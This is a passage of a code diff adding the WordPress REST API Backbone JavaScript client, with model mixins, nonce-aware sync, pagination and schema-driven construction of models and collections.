+				if ( _.includes( routeEndpoint.methods, 'GET' ) ) {
+
+					// Add any non empty args, merging them into the defaults object.
+					if ( ! _.isEmpty( routeEndpoint.args ) ) {
+
+						// Set as default if no defaults yet.
+						if ( _.isEmpty( modelInstance.prototype.options ) ) {
+							modelInstance.prototype.options = routeEndpoint.args;
+						} else {
+
+							// We already have options, merge these new args in.
+							modelInstance.prototype.options = _.extend( modelInstance.prototype.options, routeEndpoint.args );
+						}
+					}
+
+				}
+			}
+
+		} );
+
+	};
+
+	/**
+	 * Add mixins and helpers to models depending on their defaults.
+	 *
+	 * @param {Backbone Model} model          The model to attach helpers and mixins to.
+	 * @param {string}         modelClassName The classname of the constructed model.
+	 * @param {Object} 	       loadingObjects An object containing the models and collections we are building.
+	 */
+	wp.api.utils.addMixinsAndHelpers = function( model, modelClassName, loadingObjects ) {
+
+		var hasDate = false,
+
+			/**
+			 * Array of parseable dates.
+			 *
+			 * @type {string[]}.
+			 */
+			parseableDates = [ 'date', 'modified', 'date_gmt', 'modified_gmt' ],
+
+			/**
+			 * Mixin for all content that is time stamped.
+			 *
+			 * This mixin converts between mysql timestamps and JavaScript Dates when syncing a model
+			 * to or from the server. For example, a date stored as `2015-12-27T21:22:24` on the server
+			 * gets expanded to `Sun Dec 27 2015 14:22:24 GMT-0700 (MST)` when the model is fetched.
+			 *
+			 * @type {{toJSON: toJSON, parse: parse}}.
+			 */
+			TimeStampedMixin = {
+
+				/**
+				 * Prepare a JavaScript Date for transmitting to the server.
+				 *
+				 * This helper function accepts a field and Date object. It converts the passed Date
+				 * to an ISO string and sets that on the model field.
+				 *
+				 * @param {Date}   date   A JavaScript date object. WordPress expects dates in UTC.
+				 * @param {string} field  The date field to set. One of 'date', 'date_gmt', 'date_modified'
+				 *                        or 'date_modified_gmt'. Optional, defaults to 'date'.
+				 */
+				setDate: function( date, field ) {
+					var theField = field || 'date';
+
+					// Don't alter non parsable date fields.
+					if ( _.indexOf( parseableDates, theField ) < 0 ) {
+						return false;
+					}
+
+					this.set( theField, date.toISOString() );
+				},
+
+				/**
+				 * Get a JavaScript Date from the passed field.
+				 *
+				 * WordPress returns 'date' and 'date_modified' in the timezone of the server as well as
+				 * UTC dates as 'date_gmt' and 'date_modified_gmt'. Draft posts do not include UTC dates.
+				 *
+				 * @param {string} field  The date field to set. One of 'date', 'date_gmt', 'date_modified'
+				 *                        or 'date_modified_gmt'. Optional, defaults to 'date'.
+				 */
+				getDate: function( field ) {
+					var theField   = field || 'date',
+						theISODate = this.get( theField );
+
+					// Only get date fields and non null values.
+					if ( _.indexOf( parseableDates, theField ) < 0 || _.isNull( theISODate ) ) {
+						return false;
+					}
+
+					return new Date( wp.api.utils.parseISO8601( theISODate ) );
+				}
+			},
+
+			/**
+			 * Build a helper function to retrieve related model.
+			 *
+			 * @param  {string} parentModel      The parent model.
+			 * @param  {int}    modelId          The model ID if the object to request
+			 * @param  {string} modelName        The model name to use when constructing the model.
+			 * @param  {string} embedSourcePoint Where to check the embedds object for _embed data.
+			 * @param  {string} embedCheckField  Which model field to check to see if the model has data.
+			 *
+			 * @return {Deferred.promise}        A promise which resolves to the constructed model.
+			 */
+			buildModelGetter = function( parentModel, modelId, modelName, embedSourcePoint, embedCheckField ) {
+				var getModel, embeddeds, attributes, deferred;
+
+				deferred  = jQuery.Deferred();
+				embeddeds = parentModel.get( '_embedded' ) || {};
+
+				// Verify that we have a valid object id.
+				if ( ! _.isNumber( modelId ) || 0 === modelId ) {
+					deferred.reject();
+					return deferred;
+				}
+
+				// If we have embedded object data, use that when constructing the getModel.
+				if ( embeddeds[ embedSourcePoint ] ) {
+					attributes = _.findWhere( embeddeds[ embedSourcePoint ], { id: modelId } );
+				}
+
+				// Otherwise use the modelId.
+				if ( ! attributes ) {
+					attributes = { id: modelId };
+				}
+
+				// Create the new getModel model.
+				getModel = new wp.api.models[ modelName ]( attributes );
+
+				if ( ! getModel.get( embedCheckField ) ) {
+					getModel.fetch( {
+						success: function( getModel ) {
+							deferred.resolve( getModel );
+						},
+						error: function( getModel, response ) {
+							deferred.reject( response );
+						}
+					} );
+				} else {
+					// Resolve with the embedded model.
+					deferred.resolve( getModel );
+				}
+
+				// Return a promise.
+				return deferred.promise();
+			},
+
+			/**
+			 * Build a helper to retrieve a collection.
+			 *
+			 * @param  {string} parentModel      The parent model.
+			 * @param  {string} collectionName   The name to use when constructing the collection.
+			 * @param  {string} embedSourcePoint Where to check the embedds object for _embed data.
+			 * @param  {string} embedIndex       An addiitonal optional index for the _embed data.
+			 *
+			 * @return {Deferred.promise}        A promise which resolves to the constructed collection.
+			 */
+			buildCollectionGetter = function( parentModel, collectionName, embedSourcePoint, embedIndex ) {
+				/**
+				 * Returns a promise that resolves to the requested collection
+				 *
+				 * Uses the embedded data if available, otherwises fetches the
+				 * data from the server.
+				 *
+				 * @return {Deferred.promise} promise Resolves to a wp.api.collections[ collectionName ]
+				 * collection.
+				 */
+				var postId, embeddeds, getObjects,
+					classProperties = '',
+					properties      = '',
+					deferred        = jQuery.Deferred();
+
+				postId    = parentModel.get( 'id' );
+				embeddeds = parentModel.get( '_embedded' ) || {};
+
+				// Verify that we have a valid post id.
+				if ( ! _.isNumber( postId ) || 0 === postId ) {
+					deferred.reject();
+					return deferred;
+				}
+
+				// If we have embedded getObjects data, use that when constructing the getObjects.
+				if ( ! _.isUndefined( embedSourcePoint ) && ! _.isUndefined( embeddeds[ embedSourcePoint ] ) ) {
+
+					// Some embeds also include an index offset, check for that.
+					if ( _.isUndefined( embedIndex ) ) {
+
+						// Use the embed source point directly.
+						properties = embeddeds[ embedSourcePoint ];
+					} else {
+
+						// Add the index to the embed source point.
+						properties = embeddeds[ embedSourcePoint ][ embedIndex ];
+					}
+				} else {
+
+					// Otherwise use the postId.
+					classProperties = { parent: postId };
+				}
+
+				// Create the new getObjects collection.
+				getObjects = new wp.api.collections[ collectionName ]( properties, classProperties );
+
+				// If we didn’t have embedded getObjects, fetch the getObjects data.
+				if ( _.isUndefined( getObjects.models[0] ) ) {
+					getObjects.fetch( {
+						success: function( getObjects ) {
+
+							// Add a helper 'parent_post' attribute onto the model.
+							setHelperParentPost( getObjects, postId );
+							deferred.resolve( getObjects );
+						},
+						error: function( getModel, response ) {
+							deferred.reject( response );
+						}
+					} );
+				} else {
+
+					// Add a helper 'parent_post' attribute onto the model.
+					setHelperParentPost( getObjects, postId );
+					deferred.resolve( getObjects );
+				}
+
+				// Return a promise.
+				return deferred.promise();
+
+			},
+
+			/**
+			 * Set the model post parent.
+			 */
+			setHelperParentPost = function( collection, postId ) {
+
+				// Attach post_parent id to the collection.
+				_.each( collection.models, function( model ) {
+					model.set( 'parent_post', postId );
+				} );
+			},
+
+			/**
+			 * Add a helper function to handle post Meta.
+			 */
+			MetaMixin = {
+
+				/**
+				 * Get meta by key for a post.
+				 *
+				 * @param {string} key The meta key.
+				 *
+				 * @return {object} The post meta value.
+				 */
+				getMeta: function( key ) {
+					var metas = this.get( 'meta' );
+					return metas[ key ];
+				},
+
+				/**
+				 * Get all meta key/values for a post.
+				 *
+				 * @return {object} The post metas, as a key value pair object.
+				 */
+				getMetas: function() {
+					return this.get( 'meta' );
+				},
+
+				/**
+				 * Set a group of meta key/values for a post.
+				 *
+				 * @param {object} meta The post meta to set, as key/value pairs.
+				 */
+				setMetas: function( meta ) {
+					var metas = this.get( 'meta' );
+					_.extend( metas, meta );
+					this.set( 'meta', metas );
+				},
+
+				/**
+				 * Set a single meta value for a post, by key.
+				 *
+				 * @param {string} key   The meta key.
+				 * @param {object} value The meta value.
+				 */
+				setMeta: function( key, value ) {
+					var metas = this.get( 'meta' );
+					metas[ key ] = value;
+					this.set( 'meta', metas );
+				}
+			},
+
+			/**
+			 * Add a helper function to handle post Revisions.
+			 */
+			RevisionsMixin = {
+				getRevisions: function() {
+					return buildCollectionGetter( this, 'PostRevisions' );
+				}
+			},
+
+			/**
+			 * Add a helper function to handle post Tags.
+			 */
+			TagsMixin = {
+
+				/**
+				 * Get the tags for a post.
+				 *
+				 * @return {Deferred.promise} promise Resolves to an array of tags.
+				 */
+				getTags: function() {
+					var tagIds = this.get( 'tags' ),
+						tags  = new wp.api.collections.Tags();
+
+					// Resolve with an empty array if no tags.
+					if ( _.isEmpty( tagIds ) ) {
+						return jQuery.Deferred().resolve( [] );
+					}
+
+					return tags.fetch( { data: { include: tagIds } } );
+				},
+
+				/**
+				 * Set the tags for a post.
+				 *
+				 * Accepts an array of tag slugs, or a Tags collection.
+				 *
+				 * @param {array|Backbone.Collection} tags The tags to set on the post.
+				 *
+				 */
+				setTags: function( tags ) {
+					var allTags, newTag,
+						self = this,
+						newTags = [];
+
+					if ( _.isString( tags ) ) {
+						return false;
+					}
+
+					// If this is an array of slugs, build a collection.
+					if ( _.isArray( tags ) ) {
+
+						// Get all the tags.
+						allTags = new wp.api.collections.Tags();
+						allTags.fetch( {
+							data:    { per_page: 100 },
+							success: function( alltags ) {
+
+								// Find the passed tags and set them up.
+								_.each( tags, function( tag ) {
+									newTag = new wp.api.models.Tag( alltags.findWhere( { slug: tag } ) );
+
+									// Tie the new tag to the post.
+									newTag.set( 'parent_post', self.get( 'id' ) );
+
+									// Add the new tag to the collection.
+									newTags.push( newTag );
+								} );
+								tags = new wp.api.collections.Tags( newTags );
+								self.setTagsWithCollection( tags );
+							}
+						} );
+
+					} else {
+						this.setTagsWithCollection( tags );
+					}
+				},
+
+				/**
+				 * Set the tags for a post.
+				 *
+				 * Accepts a Tags collection.
+				 *
+				 * @param {array|Backbone.Collection} tags The tags to set on the post.
+				 *
+				 */
+				setTagsWithCollection: function( tags ) {
+
+					// Pluck out the category ids.
+					this.set( 'tags', tags.pluck( 'id' ) );
+					return this.save();
+				}
+			},
+
+			/**
+			 * Add a helper function to handle post Categories.
+			 */
+			CategoriesMixin = {
+
+				/**
+				 * Get a the categories for a post.
+				 *
+				 * @return {Deferred.promise} promise Resolves to an array of categories.
+				 */
+				getCategories: function() {
+					var categoryIds = this.get( 'categories' ),
+						categories  = new wp.api.collections.Categories();
+
+					// Resolve with an empty array if no categories.
+					if ( _.isEmpty( categoryIds ) ) {
+						return jQuery.Deferred().resolve( [] );
+					}
+
+					return categories.fetch( { data: { include: categoryIds } } );
+				},
+
+				/**
+				 * Set the categories for a post.
+				 *
+				 * Accepts an array of category slugs, or a Categories collection.
+				 *
+				 * @param {array|Backbone.Collection} categories The categories to set on the post.
+				 *
+				 */
+				setCategories: function( categories ) {
+					var allCategories, newCategory,
+						self = this,
+						newCategories = [];
+
+					if ( _.isString( categories ) ) {
+						return false;
+					}
+
+					// If this is an array of slugs, build a collection.
+					if ( _.isArray( categories ) ) {
+
+						// Get all the categories.
+						allCategories = new wp.api.collections.Categories();
+						allCategories.fetch( {
+							data:    { per_page: 100 },
+							success: function( allcats ) {
+
+								// Find the passed categories and set them up.
+								_.each( categories, function( category ) {
+									newCategory = new wp.api.models.Category( allcats.findWhere( { slug: category } ) );
+
+									// Tie the new category to the post.
+									newCategory.set( 'parent_post', self.get( 'id' ) );
+
+									// Add the new category to the collection.
+									newCategories.push( newCategory );
+								} );
+								categories = new wp.api.collections.Categories( newCategories );
+								self.setCategoriesWithCollection( categories );
+							}
+						} );
+
+					} else {
+						this.setCategoriesWithCollection( categories );
+					}
+
+				},
+
+				/**
+				 * Set the categories for a post.
+				 *
+				 * Accepts Categories collection.
+				 *
+				 * @param {array|Backbone.Collection} categories The categories to set on the post.
+				 *
+				 */
+				setCategoriesWithCollection: function( categories ) {
+
+					// Pluck out the category ids.
+					this.set( 'categories', categories.pluck( 'id' ) );
+					return this.save();
+				}
+			},
+
+			/**
+			 * Add a helper function to retrieve the author user model.
+			 */
+			AuthorMixin = {
+				getAuthorUser: function() {
+					return buildModelGetter( this, this.get( 'author' ), 'User', 'author', 'name' );
+				}
+			},
+
+			/**
+			 * Add a helper function to retrieve the featured media.
+			 */
+			FeaturedMediaMixin = {
+				getFeaturedMedia: function() {
+					return buildModelGetter( this, this.get( 'featured_media' ), 'Media', 'wp:featuredmedia', 'source_url' );
+				}
+			};
+
+		// Exit if we don't have valid model defaults.
+		if ( _.isUndefined( model.prototype.args ) ) {
+			return model;
+		}
+
+		// Go thru the parsable date fields, if our model contains any of them it gets the TimeStampedMixin.
+		_.each( parseableDates, function( theDateKey ) {
+			if ( ! _.isUndefined( model.prototype.args[ theDateKey ] ) ) {
+				hasDate = true;
+			}
+		} );
+
+		// Add the TimeStampedMixin for models that contain a date field.
+		if ( hasDate ) {
+			model = model.extend( TimeStampedMixin );
+		}
+
+		// Add the AuthorMixin for models that contain an author.
+		if ( ! _.isUndefined( model.prototype.args.author ) ) {
+			model = model.extend( AuthorMixin );
+		}
+
+		// Add the FeaturedMediaMixin for models that contain a featured_media.
+		if ( ! _.isUndefined( model.prototype.args.featured_media ) ) {
+			model = model.extend( FeaturedMediaMixin );
+		}
+
+		// Add the CategoriesMixin for models that support categories collections.
+		if ( ! _.isUndefined( model.prototype.args.categories ) ) {
+			model = model.extend( CategoriesMixin );
+		}
+
+		// Add the MetaMixin for models that support meta.
+		if ( ! _.isUndefined( model.prototype.args.meta ) ) {
+			model = model.extend( MetaMixin );
+		}
+
+		// Add the TagsMixin for models that support tags collections.
+		if ( ! _.isUndefined( model.prototype.args.tags ) ) {
+			model = model.extend( TagsMixin );
+		}
+
+		// Add the RevisionsMixin for models that support revisions collections.
+		if ( ! _.isUndefined( loadingObjects.collections[ modelClassName + 'Revisions' ] ) ) {
+			model = model.extend( RevisionsMixin );
+		}
+
+		return model;
+	};
+
+})( window );
+
+/* global wpApiSettings:false */
+
+// Suppress warning about parse function's unused "options" argument:
+/* jshint unused:false */
+(function() {
+
+	'use strict';
+
+	var wpApiSettings = window.wpApiSettings || {},
+	trashableTypes    = [ 'Comment', 'Media', 'Comment', 'Post', 'Page', 'Status', 'Taxonomy', 'Type' ];
+
+	/**
+	 * Backbone base model for all models.
+	 */
+	wp.api.WPApiBaseModel = Backbone.Model.extend(
+		/** @lends WPApiBaseModel.prototype  */
+		{
+
+			// Initialize the model.
+			initialize: function() {
+
+				/**
+				* Types that don't support trashing require passing ?force=true to delete.
+				*
+				*/
+				if ( -1 === _.indexOf( trashableTypes, this.name ) ) {
+					this.requireForceForDelete = true;
+				}
+			},
+
+			/**
+			 * Set nonce header before every Backbone sync.
+			 *
+			 * @param {string} method.
+			 * @param {Backbone.Model} model.
+			 * @param {{beforeSend}, *} options.
+			 * @returns {*}.
+			 */
+			sync: function( method, model, options ) {
+				var beforeSend;
+
+				options = options || {};
+
+				// Remove date_gmt if null.
+				if ( _.isNull( model.get( 'date_gmt' ) ) ) {
+					model.unset( 'date_gmt' );
+				}
+
+				// Remove slug if empty.
+				if ( _.isEmpty( model.get( 'slug' ) ) ) {
+					model.unset( 'slug' );
+				}
+
+				if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) {
+					beforeSend = options.beforeSend;
+
+					// @todo enable option for jsonp endpoints
+					// options.dataType = 'jsonp';
+
+					// Include the nonce with requests.
+					options.beforeSend = function( xhr ) {
+						xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() );
+
+						if ( beforeSend ) {
+							return beforeSend.apply( this, arguments );
+						}
+					};
+
+					// Update the nonce when a new nonce is returned with the response.
+					options.complete = function( xhr ) {
+						var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' );
+
+						if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) {
+							model.endpointModel.set( 'nonce', returnedNonce );
+						}
+					};
+				}
+
+				// Add '?force=true' to use delete method when required.
+				if ( this.requireForceForDelete && 'delete' === method ) {
+					model.url = model.url() + '?force=true';
+				}
+				return Backbone.sync( method, model, options );
+			},
+
+			/**
+			 * Save is only allowed when the PUT OR POST methods are available for the endpoint.
+			 */
+			save: function( attrs, options ) {
+
+				// Do we have the put method, then execute the save.
+				if ( _.includes( this.methods, 'PUT' ) || _.includes( this.methods, 'POST' ) ) {
+
+					// Proxy the call to the original save function.
+					return Backbone.Model.prototype.save.call( this, attrs, options );
+				} else {
+
+					// Otherwise bail, disallowing action.
+					return false;
+				}
+			},
+
+			/**
+			 * Delete is only allowed when the DELETE method is available for the endpoint.
+			 */
+			destroy: function( options ) {
+
+				// Do we have the DELETE method, then execute the destroy.
+				if ( _.includes( this.methods, 'DELETE' ) ) {
+
+					// Proxy the call to the original save function.
+					return Backbone.Model.prototype.destroy.call( this, options );
+				} else {
+
+					// Otherwise bail, disallowing action.
+					return false;
+				}
+			}
+
+		}
+	);
+
+	/**
+	 * API Schema model. Contains meta information about the API.
+	 */
+	wp.api.models.Schema = wp.api.WPApiBaseModel.extend(
+		/** @lends Schema.prototype  */
+		{
+			defaults: {
+				_links: {},
+				namespace: null,
+				routes: {}
+			},
+
+			initialize: function( attributes, options ) {
+				var model = this;
+				options = options || {};
+
+				wp.api.WPApiBaseModel.prototype.initialize.call( model, attributes, options );
+
+				model.apiRoot = options.apiRoot || wpApiSettings.root;
+				model.versionString = options.versionString || wpApiSettings.versionString;
+			},
+
+			url: function() {
+				return this.apiRoot + this.versionString;
+			}
+		}
+	);
+})();
+
+( function() {
+
+	'use strict';
+
+	var wpApiSettings = window.wpApiSettings || {};
+
+	/**
+	 * Contains basic collection functionality such as pagination.
+	 */
+	wp.api.WPApiBaseCollection = Backbone.Collection.extend(
+		/** @lends BaseCollection.prototype  */
+		{
+
+			/**
+			 * Setup default state.
+			 */
+			initialize: function( models, options ) {
+				this.state = {
+					data: {},
+					currentPage: null,
+					totalPages: null,
+					totalObjects: null
+				};
+				if ( _.isUndefined( options ) ) {
+					this.parent = '';
+				} else {
+					this.parent = options.parent;
+				}
+			},
+
+			/**
+			 * Extend Backbone.Collection.sync to add nince and pagination support.
+			 *
+			 * Set nonce header before every Backbone sync.
+			 *
+			 * @param {string} method.
+			 * @param {Backbone.Model} model.
+			 * @param {{success}, *} options.
+			 * @returns {*}.
+			 */
+			sync: function( method, model, options ) {
+				var beforeSend, success,
+					self = this;
+
+				options = options || {};
+
+				if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) {
+					beforeSend = options.beforeSend;
+
+					// Include the nonce with requests.
+					options.beforeSend = function( xhr ) {
+						xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() );
+
+						if ( beforeSend ) {
+							return beforeSend.apply( self, arguments );
+						}
+					};
+
+					// Update the nonce when a new nonce is returned with the response.
+					options.complete = function( xhr ) {
+						var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' );
+
+						if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) {
+							model.endpointModel.set( 'nonce', returnedNonce );
+						}
+					};
+				}
+
+				// When reading, add pagination data.
+				if ( 'read' === method ) {
+					if ( options.data ) {
+						self.state.data = _.clone( options.data );
+
+						delete self.state.data.page;
+					} else {
+						self.state.data = options.data = {};
+					}
+
+					if ( 'undefined' === typeof options.data.page ) {
+						self.state.currentPage  = null;
+						self.state.totalPages   = null;
+						self.state.totalObjects = null;
+					} else {
+						self.state.currentPage = options.data.page - 1;
+					}
+
+					success = options.success;
+					options.success = function( data, textStatus, request ) {
+						if ( ! _.isUndefined( request ) ) {
+							self.state.totalPages   = parseInt( request.getResponseHeader( 'x-wp-totalpages' ), 10 );
+							self.state.totalObjects = parseInt( request.getResponseHeader( 'x-wp-total' ), 10 );
+						}
+
+						if ( null === self.state.currentPage ) {
+							self.state.currentPage = 1;
+						} else {
+							self.state.currentPage++;
+						}
+
+						if ( success ) {
+							return success.apply( this, arguments );
+						}
+					};
+				}
+
+				// Continue by calling Bacckbone's sync.
+				return Backbone.sync( method, model, options );
+			},
+
+			/**
+			 * Fetches the next page of objects if a new page exists.
+			 *
+			 * @param {data: {page}} options.
+			 * @returns {*}.
+			 */
+			more: function( options ) {
+				options = options || {};
+				options.data = options.data || {};
+
+				_.extend( options.data, this.state.data );
+
+				if ( 'undefined' === typeof options.data.page ) {
+					if ( ! this.hasMore() ) {
+						return false;
+					}
+
+					if ( null === this.state.currentPage || this.state.currentPage <= 1 ) {
+						options.data.page = 2;
+					} else {
+						options.data.page = this.state.currentPage + 1;
+					}
+				}
+
+				return this.fetch( options );
+			},
+
+			/**
+			 * Returns true if there are more pages of objects available.
+			 *
+			 * @returns null|boolean.
+			 */
+			hasMore: function() {
+				if ( null === this.state.totalPages ||
+					 null === this.state.totalObjects ||
+					 null === this.state.currentPage ) {
+					return null;
+				} else {
+					return ( this.state.currentPage < this.state.totalPages );
+				}
+			}
+		}
+	);
+
+} )();
+
+( function() {
+
+	'use strict';
+
+	var Endpoint, initializedDeferreds = {},
+		wpApiSettings = window.wpApiSettings || {};
+
+	/** @namespace wp */
+	window.wp = window.wp || {};
+
+	/** @namespace wp.api */
+	wp.api    = wp.api || {};
+
+	// If wpApiSettings is unavailable, try the default.
+	if ( _.isEmpty( wpApiSettings ) ) {
+		wpApiSettings.root = window.location.origin + '/wp-json/';
+	}
+
+	Endpoint = Backbone.Model.extend(/** @lends Endpoint.prototype */{
+		defaults: {
+			apiRoot: wpApiSettings.root,
+			versionString: wp.api.versionString,
+			nonce: null,
+			schema: null,
+			models: {},
+			collections: {}
+		},
+
+		/**
+		 * Initialize the Endpoint model.
+		 */
+		initialize: function() {
+			var model = this, deferred;
+
+			Backbone.Model.prototype.initialize.apply( model, arguments );
+
+			deferred = jQuery.Deferred();
+			model.schemaConstructed = deferred.promise();
+
+			model.schemaModel = new wp.api.models.Schema( null, {
+				apiRoot:       model.get( 'apiRoot' ),
+				versionString: model.get( 'versionString' ),
+				nonce:         model.get( 'nonce' )
+			} );
+
+			// When the model loads, resolve the promise.
+			model.schemaModel.once( 'change', function() {
+				model.constructFromSchema();
+				deferred.resolve( model );
+			} );
+
+			if ( model.get( 'schema' ) ) {
+
+				// Use schema supplied as model attribute.
+				model.schemaModel.set( model.schemaModel.parse( model.get( 'schema' ) ) );
+			} else if (
+				! _.isUndefined( sessionStorage ) &&
+				( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) &&
+				sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) )
+			) {
+
+				// Used a cached copy of the schema model if available.
+				model.schemaModel.set( model.schemaModel.parse( JSON.parse( sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) ) ) ) );
+			} else {
+				model.schemaModel.fetch( {
+					/**
+					 * When the server returns the schema model data, store the data in a sessionCache so we don't
+					 * have to retrieve it again for this session. Then, construct the models and collections based
+					 * on the schema model data.
+					 *
+					 * @callback
+					 */
+					success: function( newSchemaModel ) {
+
+						// Store a copy of the schema model in the session cache if available.
+						if ( ! _.isUndefined( sessionStorage ) && ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) ) {
+							try {
+								sessionStorage.setItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ), JSON.stringify( newSchemaModel ) );
+							} catch ( error ) {
+
+								// Fail silently, fixes errors in safari private mode.
+							}
+						}
+					},
+
+					// Log the error condition.
+					error: function( err ) {
+						window.console.log( err );
+					}
+				} );
+			}
+		},
+
+		constructFromSchema: function() {
+			var routeModel = this, modelRoutes, collectionRoutes, schemaRoot, loadingObjects,
+
+			/**
+			 * Set up the model and collection name mapping options. As the schema is built, the
+			 * model and collection names will be adjusted if they are found in the mapping object.
+			 *
+			 * Localizing a variable wpApiSettings.mapping will over-ride the default mapping options.
+			 *
+			 */
+			mapping = wpApiSettings.mapping || {
+				models: {
+					'Categories':      'Category',
+					'Comments':        'Comment',
+					'Pages':           'Page',
+					'PagesMeta':       'PageMeta',
+					'PagesRevisions':  'PageRevision',
+					'Posts':           'Post',
+					'PostsCategories': 'PostCategory',
+					'PostsRevisions':  'PostRevision',
+					'PostsTags':       'PostTag',
+					'Schema':          'Schema',
+					'Statuses':        'Status',
+					'Tags':            'Tag',
+					'Taxonomies':      'Taxonomy',
+					'Types':           'Type',
+					'Users':           'User'
+				},
+				collections: {
+					'PagesMeta':       'PageMeta',
+					'PagesRevisions':  'PageRevisions',
+					'PostsCategories': 'PostCategories',
+					'PostsMeta':       'PostMeta',
+					'PostsRevisions':  'PostRevisions',
+					'PostsTags':       'PostTags'
+				}
+			},
+
+			modelEndpoints = routeModel.get( 'modelEndpoints' ),
+			modelRegex     = new RegExp( '(?:.*[+)]|\/(' + modelEndpoints.join( '|' ) + '))$' );
+
+			/**
+			 * Iterate thru the routes, picking up models and collections to build. Builds two arrays,
+			 * one for models and one for collections.
+			 */
+			modelRoutes      = [];
+			collectionRoutes = [];
+			schemaRoot       = routeModel.get( 'apiRoot' ).replace( wp.api.utils.getRootUrl(), '' );
+			loadingObjects   = {};
+
+			/**
+			 * Tracking objects for models and collections.
+			 */
+			loadingObjects.models      = {};
+			loadingObjects.collections = {};
+
+			_.each( routeModel.schemaModel.get( 'routes' ), function( route, index ) {
+
+				// Skip the schema root if included in the schema.
+				if ( index !== routeModel.get( ' versionString' ) &&
+						index !== schemaRoot &&
+						index !== ( '/' + routeModel.get( 'versionString' ).slice( 0, -1 ) )
+				) {
+
+					// Single items end with a regex, or a special case word.
+					if ( modelRegex.test( index ) ) {
+						modelRoutes.push( { index: index, route: route } );
+					} else {
+
+						// Collections end in a name.
+						collectionRoutes.push( { index: index, route: route } );
+					}
+				}
+			} );
+
+			/**
+			 * Construct the models.
+			 *
+			 * Base the class name on the route endpoint.
+			 */
+			_.each( modelRoutes, function( modelRoute ) {
+
+				// Extract the name and any parent from the route.
+				var modelClassName,
+					routeName  = wp.api.utils.extractRoutePart( modelRoute.index, 2, routeModel.get( 'versionString' ), true ),
+					parentName = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), false ),
+					routeEnd   = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), true );
+
+				// Clear the parent part of the rouite if its actually the version string.
+				if ( parentName === routeModel.get( 'versionString' ) ) {
+					parentName = '';
+				}
+
+				// Handle the special case of the 'me' route.
+				if ( 'me' === routeEnd ) {
+					routeName = 'me';
+				}
+
+				// If the model has a parent in its route, add that to its class name.
+				if ( '' !== parentName && parentName !== routeName ) {
+					modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
+					modelClassName = mapping.models[ modelClassName ] || modelClassName;
+					loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( {
+
+						// Return a constructed url based on the parent and id.
+						url: function() {
+							var url =
+								routeModel.get( 'apiRoot' ) +
+								routeModel.get( 'versionString' ) +
+								parentName +  '/' +
+									( ( _.isUndefined( this.get( 'parent' ) ) || 0 === this.get( 'parent' ) ) ?
+										( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) :
+										this.get( 'parent' ) + '/' ) +
+								routeName;
+
+							if ( ! _.isUndefined( this.get( 'id' ) ) ) {
+								url +=  '/' + this.get( 'id' );
+							}
+							return url;
+						},
+
+						// Track nonces on the Endpoint 'routeModel'.
+						nonce: function() {
+							return routeModel.get( 'nonce' );
+						},
+
+						endpointModel: routeModel,
+
+						// Include a reference to the original route object.
+						route: modelRoute,
+
+						// Include a reference to the original class name.
+						name: modelClassName,
+
+						// Include the array of route methods for easy reference.
+						methods: modelRoute.route.methods,
+
+						// Include the array of route endpoints for easy reference.
+						endpoints: modelRoute.route.endpoints
+					} );
+				} else {
+
+					// This is a model without a parent in its route
+					modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
+					modelClassName = mapping.models[ modelClassName ] || modelClassName;
+					loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( {
+
+						// Function that returns a constructed url based on the id.
+						url: function() {
+							var url = routeModel.get( 'apiRoot' ) +
+								routeModel.get( 'versionString' ) +
+								( ( 'me' === routeName ) ? 'users/me' : routeName );
+
+							if ( ! _.isUndefined( this.get( 'id' ) ) ) {
+								url +=  '/' + this.get( 'id' );
+							}
+							return url;
+						},
+
+						// Track nonces at the Endpoint level.
+						nonce: function() {
+							return routeModel.get( 'nonce' );
+						},
+
+						endpointModel: routeModel,
+
+						// Include a reference to the original route object.
+						route: modelRoute,
+
+						// Include a reference to the original class name.
+						name: modelClassName,
+
+						// Include the array of route methods for easy reference.
+						methods: modelRoute.route.methods,
+
+						// Include the array of route endpoints for easy reference.
+						endpoints: modelRoute.route.endpoints
+					} );
+				}
+
+				// Add defaults to the new model, pulled form the endpoint.
+				wp.api.utils.decorateFromRoute(
+					modelRoute.route.endpoints,
+					loadingObjects.models[ modelClassName ],
+					routeModel.get( 'versionString' )
+				);
+
+			} );
+
+			/**
+			 * Construct the collections.
+			 *
+			 * Base the class name on the route endpoint.
+			 */
+			_.each( collectionRoutes, function( collectionRoute ) {
+
+				// Extract the name and any parent from the route.
+				var collectionClassName, modelClassName,
+						routeName  = collectionRoute.index.slice( collectionRoute.index.lastIndexOf( '/' ) + 1 ),
+						parentName = wp.api.utils.extractRoutePart( collectionRoute.index, 1, routeModel.get( 'versionString' ), false );
+
+				// If the collection has a parent in its route, add that to its class name.
+				if ( '' !== parentName && parentName !== routeName && routeModel.get( 'versionString' ) !== parentName ) {
+
+					collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
+					modelClassName      = mapping.models[ collectionClassName ] || collectionClassName;
+					collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName;
+					loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( {
+
